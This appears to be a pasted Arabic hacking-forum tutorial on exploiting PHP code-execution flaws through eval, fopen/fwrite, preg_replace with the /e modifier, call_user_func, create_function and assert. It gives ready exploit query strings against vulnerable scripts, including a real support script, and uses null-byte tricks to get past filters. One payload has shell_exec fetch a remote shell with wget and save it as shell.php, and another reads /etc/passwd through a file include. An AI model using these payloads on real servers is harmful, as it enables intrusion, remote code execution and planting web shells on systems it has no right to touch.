Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [CENTER][IMG]http://www.livehacking.com/web/wp-content/uploads/2012/02/php-logo.jpg[/IMG]
- السلام عليكم
- إزى الحال يا شباب؟
- ان شاء الله بخير
- الشرح ان شاء الله هيكون شبه مفصل عن ثغرات الـ
- [COLOR=Red]PHP Code Execution[/COLOR]
- الثغره بتسمح لنا بحقن كود بى اتش بى وتنفيذه فى السكربتات المصابه
- ومنه نجيب شل أو أيا كان هدفنا بقى
- اللى هتحتاجه عشان تفهم الشرح
- [COLOR=Red]- [/COLOR]معرفه ولو بسيطه فى البى اتش بى
- [COLOR=Red]- [/COLOR]شوف الدرس ده لانى فيه حاجات كتير هعديها اعتمادا على انها مشروحه هنا قبل كده
- [URL]http://www.sec4ever.com/home/showthread.php?t=4831[/URL]
- تقدر تعتبر الدرس ده جزء ثانى للرابط اللى فوق ده
- تقدر تشوف بس شرح ثغرات الـ
- [COLOR=Red]Remote Command Execution[/COLOR]
- فى الدرس اللى فوق والباقى هنكمله سوا
- خلينا نبدأ على بركة الله
- فى الدرس السابق اتكلمنا عن ثغرات ال
- [COLOR=Red]Remote Command Execution[/COLOR]
- وازاى نستغل ثغرات الـ
- [COLOR=Red]PHP execution[/COLOR]
- فى تنفيذ اوامرنا على السيرفر
- فى الدرس ده هنزود بعض الدوال المصابه اللى هتساعدنا جدا فى اكتشاف النوع ده من الثغرات
- +
- كيفية استغلالها بالطبع
- خلينا نبدأ من الأسهل للأصعب
- الدالة الأولى
- [COLOR=Red]Eval[/COLOR]
- داله معروفه تقوم بتنفيذ كود البى اتش بى اللى بين الأقواس
- مثال
- [PHP]eval(phpinfo());[/PHP]هينفذ الكود اللى بين الأقواس اللى هيقوم بعرض معلومات البى اتش بى تبع السيرفر
- ازاى هنستغل الداله دى
- اذا تفتكرو سكربت الدعم اللى اسمه
- [COLOR=Blue]Am4ss 1.1[/COLOR]
- فى ملف [COLOR=Blue]global.php[/COLOR]
- انزل تحت تلاقى
- [PHP]eval($bn);[/PHP]يبقى استغلالها كده
- [CODE]Global.php?bn=php code[/CODE]مثال
- [CODE]Global.php?bn=phpinfo();[/CODE]يبقى الكود هيتنفذ بالشكل ده
- [PHP]Eval(phpinfo(););[/PHP]طبعا الثغره واضح 100% انها مزروعه فى السكربت عن قصد
- أيا كان اللى زارعها بقى لكن الكود ملوش علاقه بالسكربت
- ههههه
- مش موضوعنا على اى حال
- نكمل
- الداله التانيه اللى تهمنا شرحناها فى الموضوع اللى فوق لكن خلينا نتكلم عنها باختصار
- [COLOR=Red]Fopen & Fwrite[/COLOR]
- [COLOR=Blue]Fopen [/COLOR]> تقوم بفتح ملف
- [COLOR=Blue]Fwrite [/COLOR]> تقوم بالكتابة على الملف
- مثال لكود مصاب[PHP]
- $File=Fopen('data.php','w+')
- $data='sec4ever the best over the rest';
- Fwrite($file,$data);[/PHP]اذا هيفتح ملف ويكتب فيه
- [COLOR=Blue]Sec4ever the best over the rest[/COLOR]
- جميل
- امتى يكون الكود مصاب؟؟؟
- اذا كان الباراميتر التانى اللى هو تبع الداتا اللى هتتكتب مفتوح ومسموح لنا نعدل فيه
- مثلا[PHP]
- $File=Fopen('data.php','w+');
- Fwrite($file,$data);[/PHP]الباراميتر داتا اللى المفروض هيتكتب فى الملف مفتوح
- نقدر نحط فيه الكود اللى عايزينه عن طريق
- [COLOR=Blue]Post[/COLOR]
- مثلا
- [IMG]http://customsoundonline.com/1.png[/IMG]
- نلاقى ملف
- [COLOR=Blue]Data.php[/COLOR]
- وفيه الكود تبعنا اتنفذ تمام
- [IMG]http://customsoundonline.com/2.png[/IMG]
- او ممكن يكون الاتنين باراميتر مفتوحين يعنى زى كده مثلا
- [PHP]$File=Fopen($name,'w+');
- Fwrite($file,$data);[/PHP]كل اللى هنضيفه فى الاستغلال بس هو اسم الملف
- اللى نقدر نتحكم فيه براحتنا
- يعنى نعمل بوست كده
- [CODE]Name=faris.php&data=phpcode[/CODE]يكريت ملف اسمه
- [COLOR=Blue]Faris.php[/COLOR]
- ويحط فيه الداتا المطلوبه وكان الله بالسر عليم
- طرق اكثر لاستغلال الداله دى تلاقوها فى الدرس السابق
- ندخل على داله تانيه
- [COLOR=Red]Preg_replace()[/COLOR]
- ركز فى الداله دى كويس على فد مق تقدر لانها منتشره نوعا + مبرمجين كتير مش بيهتمو لها وهم بيشيكو ع حماية السكربت
- اعتقد الداله قابلت ناس كتير قبل كده
- خاصه بعمل استبدال لنص معين بنص آخر
- لكن اللى كتير ميعرفوهوش عن الداله دى انها ممكن تقوم بعمل الداله
- [COLOR=Sienna]Eval()[/COLOR]
- فى بعض الحالات
- خلونا نشوف كيفية عمل ااداله[PHP]
- $fa='sec4ever';
- $sh='best';
- $ka= 'thebest';
- echo preg_replace($fa,$sh,$ka);[/PHP]ايه اللى هيعمله السكربت
- هيبحث عن المتغير $[COLOR=Blue]fa[/COLOR]
- فى المتغير $[COLOR=Blue]ka[/COLOR]
- ويستبدله بالداتا اللى فى المتغير $[COLOR=Blue]sh[/COLOR]
- يعنى بعد تطبيق المثال السابق بتكون النتيجه
- [QUOTE]Thesec4ever[/QUOTE]تمام كده؟؟
- فرضا ان الملف كان بالشكل ده
- [PHP]Preg_replace('/.*/e',$sh,$ka);[/PHP]دالة
- [COLOR=Red]Preg_replace[/COLOR]
- اما يكون فيها [COLOR=Red]/e[/COLOR]
- فى الباراميتر الأولانى بتقول بعمل الداله
- [COLOR=Sienna]Eval[/COLOR]
- يعنى بتعمل
- [COLOR=Sienna]Evaluation[/COLOR]
- للباراميتر التانى اللى هو $[COLOR=Blue]sh[/COLOR]
- مثال[PHP]
- $ka='what ever';
- $sh='phpinfo();';
- Preg_replace('/.*/e',$sh,$ka);[/PHP]بيكون الناتج
- [PHP]Preg_replace('/.*/e','phpinfo();',$ka);[/PHP]وتلاقى الكود اتنفذ تمام :)
- ركز فيها تانى وتالت لحد ما تفهمها
- فهمتها؟؟؟
- ننقل للاستغلال تبعها بقى
- عشان نستغلها لازم يكون مسموحلنا نعدل على الباراميتر التانى
- لانه هو اللى بيحصله
- [COLOR=Sienna]Evaluation[/COLOR]
- +
- تكون /e موجوده فى الباراميتر الأولانى جاهزه
- او مسموحلنا نعدل ونحطها يدوى احنا زى مهنشوف
- ناخدهم واحده واحده
- المثال الأول
- $[PHP]ka='what ever';
- Preg_replace('/.*/e',$sh,$ka);[/PHP]زى ما حضرتك شايف الباراميتر التانى مفتوح للتعديل وجاهز لاضافة الكود المطلوب سواء عن طريق
- [COLOR=Blue]Post or get[/COLOR]
- مثال
- [IMG]http://customsoundonline.com/3.png[/IMG]
- اوك
- فرضنا ان [COLOR=Red]/e[/COLOR]
- غير موجوده فى الباراميتر الأولانى
- نقدر نستغلها برضه بس بشرط يكون مسموح لنا نعدل فى الباراميتر الأولانى
- مثال
- [PHP]Preg_replace($fa,$sh,'whetever');[/PHP]يبقى نخلى الاستغلال كده
- [CODE]fa=//e&sh=phpinfo();[/CODE]نلاقى تم الاستغلال وكل حاجه زى الفل
- طبعا مفيش سكربت هيخلى الحياه حلاوه كده
- هههههههه
- نشوف ايه المشكله اللى ممكن تواجهنا فى الداله دى
- مثال[PHP]
- $fa= '/phoenix'.$_GET['1st'].'/farsawy';
- $sh= $_GET['replace'];
- $ka= 'sec4ever the best over the rest';
- echo preg_replace($fa,$sh,$ka);[/PHP]المفروض ان على حسب الطريقه القديمه كان الاستغلال يبقى كده
- [CODE]Data.php?1st=//e&replace=phpinfo();[/CODE]بس اذا جربته بيكون الناتج[QUOTE]
- Warning: preg_replace() [function.preg-replace]: Unknown modifier '/' in C:\AppServ\www\lab\sec4ever\php-exec\data.php on line 5[/QUOTE]ايه السبب؟؟
- السبب ان بعد [COLOR=Red]/e[/COLOR]
- موجود
- [COLOR=Blue]/farsawy[/COLOR]
- عشان تستغل تعمل تنفيذ للأمر لازم تكون
- [COLOR=Red]/e[/COLOR]
- هى آخر حاجه فى الباراميتر
- يعنى يكون كده مثلا
- [COLOR=Blue]/phoenix//e[/COLOR]
- هنحل دى المشكله ازاى طيب؟؟
- هنلجأ لـ
- [COLOR=Red]Null Byte Injection[/COLOR]
- هى بعينها وغباوتها اللى كنا بنستخدمها فى اللوكال انكلود
- [COLOR=Blue]%00[/COLOR]
- وظيفتها بتمنع تنفيذ اى حاجه بعدها
- بتعتبرها مش موجوده من الاساس
- يعنى فى الانكلود مثلا لما كنا بنعمل انكلود لملف كده
- [QUOTE]File=/etc/passwd%00.php[/QUOTE]كان بيفتح ملف ال
- /etc/passwd
- ويتجاهل
- .php
- لانها بعد ال
- [COLOR=Blue]Null Byte[/COLOR]
- تمام لحد كده؟؟؟
- ده بالظبط اللى هنعمله هنا
- الاستغلال يكون
- [CODE]data.php?1st=/e%00&replace=phpinfo();[/CODE]جميل اختفى الخطأ لكن هتلاقى الناتج فى الصفحه
- [COLOR=Blue]sec4ever the best over the rest[/COLOR]
- لكن الكود مش اتنفذ
- أحا بقى . . احنا هنقضيها؟؟
- ههههههه
- أقول لك السبب يا حج
- فاكر المثال اللى فوق خالص
- [PHP]Preg_replace($fa,$sh,'whetever');[/PHP]كانت
- fa=/e
- فقط بدون اى اضافات
- لكن هنا حتى بعد ما ضفنا النال بايت بيكون شكل الكود
- [COLOR=Blue]fa= /phoenix/e[/COLOR]
- طبعا كلمة فينكس موجوده فى الكود من الاساس مش مسموح لنا نعدلها
- وعشان يتنفذ الأمر لازم تكون كلمة فينكس موجوده فى الباراميتر
- Ka
- اللى هو عباره عن
- sec4ever the best over the rest
- طيب ايه الحل؟؟؟
- هنضيف العلامه ||
- فاكرينها برضه؟؟
- فى الموضوع اللى فوق
- العلامتين دول هيخلو الباراميتر تبعنا مطابق للباراميتر الأخير
- يعنى الاستغلال بيكون كده
- [CODE]data.php?1st=||/e%00&replace=phpinfo();[/CODE]تلاقى الكود اتنفذ فله شمعه منوره ع رأى زيد
- هههه
- كده انتهينا تقريبا من دالة
- Preg_replace
- وشرحنا الـ
- Null Byte Injection
- ندخل على داله تانيه
- [COLOR=Red]call_user_func($fa,$sec);[/COLOR]
- داله بتقوم باستدعاء داله اخرى فى الباراميتر الأول
- $[COLOR=Blue]fa[/COLOR]
- وتقوم بتنفيذ الكود الموجود فى البرراميتر التانى عن طريق الداله فى الباراميتر الأول
- حد فاهم حاجه؟؟
- هههههههههههه
- ببساطه
- نفرض ان[COLOR=Blue]
- $fa='system';
- $sec='dir';[/COLOR]
- اذا نفذناها فى الداله دى
- call_user_func
- بيكون الشكل داخل الداله كده
- [PHP]call_user_func(system,dir);[/PHP]وبيتنفذ بالشكل ده
- [PHP]System('dir')[/PHP]طبعا بتستغلها بالشكل اللى بتحبه انت
- يعنى ممكن مثل
- [CODE]Data.php?fa=shell_exec&sec=wget http://sec4ever.com/shell.txt;mv shell.txt shell.php[/CODE]تسحب شل مباشرة
- نشوف داله تانيه؟؟
- [COLOR=Red]create_function[/COLOR]
- نظامها كده[PHP]
- $faris = create_function($first,$second);
- Faris();[/PHP]بتتكون من اتنين باراميتر برضه
- الباراميتر الأولانى مش مهم بالنسبه لنا
- يهمنا التانى هو اللى هنعدل فيه
- يعنى مثلا اذا كان
- [PHP]Eval('phpinfo();');[/PHP]بيتنفذ تمام
- [PHP]System('dir');[/PHP]الخ الخ
- الداله
- [COLOR=Red]Assert[/COLOR]
- نفس الداله
- [COLOR=Sienna]Eval[/COLOR]
- [PHP]Assert('phpinfo();');[/PHP]لحد هنا نقدر نقول اننا جبنا أغلب دوال االمسؤاله عن الـ
- Php Code Execution
- طبعا الموضوع منتهاش لحد هنا
- وأى جديد هضيفه ان شاء الله
- أى استفسار موجود بإذن الله
- بالتوفيق للجميع
- Faris/.[/CENTER]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement